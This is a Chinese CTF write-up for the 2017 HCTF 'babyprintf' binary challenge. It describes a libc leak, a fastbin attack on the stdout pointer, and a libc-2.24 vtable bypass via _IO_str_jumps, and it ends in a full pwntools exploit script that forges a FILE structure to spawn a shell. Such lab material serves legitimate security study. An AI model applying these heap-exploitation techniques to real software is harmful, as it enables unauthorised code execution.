# babyprintf

*发表于 2021-01-21 分类于 Challenge， 2017， HCTF， Bin*
*Challenge | 2017 | HCTF | Bin | babyprintf*

*点击此处获得更好的阅读体验*

---

## *WriteUp 来源*

*https://xz.aliyun.com/t/1589*

## *题目考点*

## *解题思路*

*题目只有malloc和一个printf_chk，printf_chk和printf不同的地方有两点：*

*不能使用$n不连续的打印 在使用%n的时候会做一系列检查 虽然如此，但leak libc地址还是可以的。这个我想大部分人都想到了。*

*然后重点就是如何使用程序唯一的堆溢出。没有free的问题 可以通过free topchunk解决，然后很多选手在这都使用了unsortedbin attack拿到shell。*

*如何通过unsortedbin attack利用我就不多说了, 应该会有其他wp放出。我说一下如何利用fastbin attack解决这个问题。首先我们能free 一个top chunk，然后有了第一个就能有第二个，不断申请内存或者覆盖top chunk的size可以很轻易的做到这点。同时，我们可以另下面那个的size为0x41，之后申请上面那个堆块就能把下面这个fastbin覆盖了。通过这个0x41的fastbin attack, 我们可以覆盖到位于data段上的stdout指针，具体如下*

```
1 --------------------            --------------------
2     freed chunk1                       alloced
3 --------------------            --------------------
4         dummy            ->              overflow
5 --------------------            --------------------
6     freed chunk2(0x41)                chunk2->fd=target
7 --------------------            --------------------
```

*当然libc中是存在onegadget的，所以也有人直接去覆盖malloc_hook，这些都可以*

*然后一个比较蛋疼的是libc-2.24的问题，因它为加入了新的对vtable的检验机制。如何绕过呢？这个方法很多，只要记得一点，我们已经能控制“整个“FILE结构体，这点如果稍微去看下源码的话应该能找到很多方法，这里提供一个替换vtable(_IO_file_jumps)到另一个vtable(_IO_str_jumps), 利用两个vtable defalut方法的不同拿到shell的解题脚本(偏移请自行更改)*

```
from pwn import *
context.log_level='debug'

def pr(size,data):
    p.sendline(str(size))
    p.recv()
    p.sendline(data)
    p.recvuntil('result: ')
    return p.recvuntil('size: ')[:-5]

p = process('./babyprintf')
p.recvuntil('size: ')
for i in range(32):
    pr(0xff0,'a')
p.sendline('0xe00')
p.recv()
p.sendline('%llx')
p.recvuntil('result: ')
libc_addr = int('0x'+p.recv(12),16)-0x3c6780
print 'libc: ',hex(libc_addr)
p.recvuntil('size: ')
pr(8,'a'*0x18+p64(0x1d1))
pr(0x1d0,'1')
pr(0x130,'1')
pr(0xd00,'1')
pr(0xa0,'a'*0xa8+p64(0x61))
pr(0x200,'a')
p.sendline('0x60')
p.recvuntil('string: ')
p.sendline('\x00'*0x2028+p64(0x41)+p64(0x601062))
p.recv()
pr(0x30,'a')

system_addr = libc_addr + 0x45390
sh_addr = libc_addr + 0x18cd17
malloc_addr = libc_addr + 0x84130
vtable_addr = libc_addr+0x3c37a0

flag=2|0x8000
fake_stream = p64(flag)+p64(0)
fake_stream += p64(0)*2
fake_stream += p64(0)
fake_stream += p64(0x7fffffffffffffff)
fake_stream = fake_stream.ljust(0x38,'\x00')
fake_stream += p64(sh_addr)
fake_stream += p64(sh_addr)
fake_stream = fake_stream.ljust(0xc0,'\x00')
fake_stream += p64(0xffffffffffffffff)
fake_stream = fake_stream.ljust(0xd8,'\x00')
fake_stream += p64(vtable_addr)
fake_stream += p64(malloc_addr) #alloc
fake_stream += p64(system_addr) #hook free
p.sendline('0x30')
p.sendline('a'*14+p64(0x601090)+p64(0)+fake_stream)

p.interactive()
```

# *Flag*

```
无
```



# Challenge # 2017 # HCTF # Bin
guestbook
ar_u_ok